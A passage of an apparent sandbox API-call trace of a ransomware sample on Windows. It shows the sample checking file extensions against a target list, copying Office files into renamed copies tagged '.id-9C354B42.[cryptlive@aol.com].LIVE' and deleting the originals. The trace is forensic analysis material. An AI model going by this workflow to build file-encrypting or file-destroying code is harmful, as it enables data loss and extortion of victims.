(lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0144.126] lstrlenW (lpString=".dbf") returned 4 [0144.126] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0144.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0144.127] lstrlenW (lpString=".1cd") returned 4 [0144.127] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0144.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0144.127] lstrlenW (lpString=".jpg") returned 4 [0144.127] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0144.127] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0144.127] lstrlenW (lpString="ONINTL.DLL") returned 10 [0144.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.127] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3415952) returned 1 [0144.127] CloseHandle (hObject=0x384) returned 1 [0144.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll")) returned 0x20 [0144.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0144.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0144.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0144.129] lstrlenW (lpString=".doc") returned 4 [0144.129] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0144.129] lstrlenW (lpString=".docx") returned 5 [0144.129] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0144.129] lstrlenW (lpString=".pdf") returned 4 [0144.129] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0144.129] lstrlenW (lpString=".xls") returned 4 [0144.129] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0144.130] lstrlenW (lpString=".xlsx") returned 5 [0144.130] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0144.130] lstrlenW (lpString=".ppt") returned 4 [0144.130] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0144.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0144.130] lstrlenW (lpString=".zip") returned 4 [0144.130] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0144.130] lstrlenW (lpString=".rar") returned 4 [0144.130] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0144.130] lstrlenW (lpString=".bz2") returned 4 [0144.130] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0144.130] lstrlenW (lpString=".7z") returned 3 [0144.130] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0144.130] lstrlenW (lpString=".dbf") returned 4 [0144.130] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0144.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0144.130] lstrlenW (lpString=".1cd") returned 4 [0144.130] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0144.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0144.130] lstrlenW (lpString=".jpg") returned 4 [0144.130] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0144.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0144.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0144.130] lstrlenW (lpString=".doc") returned 4 [0144.130] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0144.130] lstrlenW (lpString=".docx") returned 5 [0144.130] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0144.130] lstrlenW (lpString=".pdf") returned 4 [0144.130] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0144.130] lstrlenW (lpString=".xls") returned 4 [0144.130] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0144.130] lstrlenW (lpString=".xlsx") returned 5 [0144.131] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0144.131] lstrlenW (lpString=".ppt") returned 4 [0144.131] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0144.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0144.131] lstrlenW (lpString=".zip") returned 4 [0144.131] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0144.131] lstrlenW (lpString=".rar") returned 4 [0144.131] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0144.131] lstrlenW (lpString=".bz2") returned 4 [0144.131] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0144.131] lstrlenW (lpString=".7z") returned 3 [0144.131] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0144.131] lstrlenW (lpString=".dbf") returned 4 [0144.131] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0144.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0144.131] lstrlenW (lpString=".1cd") returned 4 [0144.131] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0144.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0144.131] lstrlenW (lpString=".jpg") returned 4 [0144.131] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0144.131] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0144.131] lstrlenW (lpString="ONINTL.DLL.IDX_DLL") returned 18 [0144.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.132] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=15232) returned 1 [0144.132] CloseHandle (hObject=0x384) returned 1 [0144.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll")) returned 0x20 [0144.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.132] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.132] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0144.133] GetLastError () returned 0x0 [0144.133] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x3b80, lpOverlapped=0x0) returned 1 [0144.256] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x3b90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3b90, lpOverlapped=0x0) returned 1 [0144.257] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.257] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0144.257] SetEndOfFile (hFile=0x1ec) returned 1 [0144.257] CloseHandle (hObject=0x1ec) returned 1 [0144.257] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.257] SetEndOfFile (hFile=0x384) returned 1 [0144.259] CloseHandle (hObject=0x384) returned 1 [0144.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll")) returned 1 [0144.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0144.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0144.261] lstrlenW (lpString=".doc") returned 4 [0144.261] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0144.261] lstrlenW (lpString=".docx") returned 5 [0144.261] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0144.261] lstrlenW (lpString=".pdf") returned 4 [0144.261] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0144.261] lstrlenW (lpString=".xls") returned 4 [0144.261] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0144.261] lstrlenW (lpString=".xlsx") returned 5 [0144.261] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0144.261] lstrlenW (lpString=".ppt") returned 4 [0144.261] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0144.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0144.261] lstrlenW (lpString=".zip") returned 4 [0144.261] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0144.261] lstrlenW (lpString=".rar") returned 4 [0144.261] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0144.261] lstrlenW (lpString=".bz2") returned 4 [0144.261] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0144.261] lstrlenW (lpString=".7z") returned 3 [0144.261] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0144.261] lstrlenW (lpString=".dbf") returned 4 [0144.261] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0144.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0144.261] lstrlenW (lpString=".1cd") returned 4 [0144.261] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0144.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0144.261] lstrlenW (lpString=".jpg") returned 4 [0144.261] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0144.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0144.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0144.261] lstrlenW (lpString=".doc") returned 4 [0144.261] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0144.261] lstrlenW (lpString=".docx") returned 5 [0144.261] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0144.262] lstrlenW (lpString=".pdf") returned 4 [0144.262] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0144.262] lstrlenW (lpString=".xls") returned 4 [0144.262] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0144.262] lstrlenW (lpString=".xlsx") returned 5 [0144.262] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0144.262] lstrlenW (lpString=".ppt") returned 4 [0144.262] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0144.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0144.262] lstrlenW (lpString=".zip") returned 4 [0144.262] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0144.262] lstrlenW (lpString=".rar") returned 4 [0144.262] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0144.262] lstrlenW (lpString=".bz2") returned 4 [0144.262] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0144.262] lstrlenW (lpString=".7z") returned 3 [0144.262] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0144.262] lstrlenW (lpString=".dbf") returned 4 [0144.262] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0144.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0144.262] lstrlenW (lpString=".1cd") returned 4 [0144.262] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0144.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0144.262] lstrlenW (lpString=".jpg") returned 4 [0144.262] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0144.262] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0144.262] lstrlenW (lpString="ORGCHART.VSL") returned 12 [0144.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.284] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=57248) returned 1 [0144.284] CloseHandle (hObject=0x384) returned 1 [0144.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl")) returned 0x20 [0144.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.285] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.285] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0144.285] GetLastError () returned 0x0 [0144.285] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xdfa0, lpOverlapped=0x0) returned 1 [0144.304] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xdfb0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xdfb0, lpOverlapped=0x0) returned 1 [0144.305] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.305] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.306] SetEndOfFile (hFile=0x1ec) returned 1 [0144.306] CloseHandle (hObject=0x1ec) returned 1 [0144.306] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.306] SetEndOfFile (hFile=0x384) returned 1 [0144.309] CloseHandle (hObject=0x384) returned 1 [0144.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl")) returned 1 [0144.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0144.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0144.310] lstrlenW (lpString=".doc") returned 4 [0144.310] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0144.310] lstrlenW (lpString=".docx") returned 5 [0144.310] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0144.310] lstrlenW (lpString=".pdf") returned 4 [0144.310] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0144.310] lstrlenW (lpString=".xls") returned 4 [0144.310] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0144.310] lstrlenW (lpString=".xlsx") returned 5 [0144.310] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0144.310] lstrlenW (lpString=".ppt") returned 4 [0144.310] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0144.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0144.310] lstrlenW (lpString=".zip") returned 4 [0144.310] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0144.310] lstrlenW (lpString=".rar") returned 4 [0144.311] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0144.311] lstrlenW (lpString=".bz2") returned 4 [0144.311] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0144.311] lstrlenW (lpString=".7z") returned 3 [0144.311] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0144.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0144.311] lstrlenW (lpString=".dbf") returned 4 [0144.311] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0144.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0144.311] lstrlenW (lpString=".1cd") returned 4 [0144.311] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0144.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0144.311] lstrlenW (lpString=".jpg") returned 4 [0144.311] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0144.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0144.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0144.311] lstrlenW (lpString=".doc") returned 4 [0144.311] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0144.311] lstrlenW (lpString=".docx") returned 5 [0144.311] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0144.311] lstrlenW (lpString=".pdf") returned 4 [0144.311] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0144.311] lstrlenW (lpString=".xls") returned 4 [0144.311] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0144.311] lstrlenW (lpString=".xlsx") returned 5 [0144.311] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0144.311] lstrlenW (lpString=".ppt") returned 4 [0144.311] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0144.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0144.311] lstrlenW (lpString=".zip") returned 4 [0144.311] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0144.311] lstrlenW (lpString=".rar") returned 4 [0144.311] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0144.311] lstrlenW (lpString=".bz2") returned 4 [0144.311] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0144.311] lstrlenW (lpString=".7z") returned 3 [0144.311] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0144.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0144.312] lstrlenW (lpString=".dbf") returned 4 [0144.312] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0144.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0144.312] lstrlenW (lpString=".1cd") returned 4 [0144.312] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0144.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0144.312] lstrlenW (lpString=".jpg") returned 4 [0144.312] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0144.312] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0144.312] lstrlenW (lpString="ORGPOS.VRD") returned 10 [0144.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.312] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1098) returned 1 [0144.313] CloseHandle (hObject=0x384) returned 1 [0144.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd")) returned 0x20 [0144.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.313] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.313] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0144.314] GetLastError () returned 0x0 [0144.314] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x44a, lpOverlapped=0x0) returned 1 [0144.377] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x450, lpOverlapped=0x0) returned 1 [0144.378] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 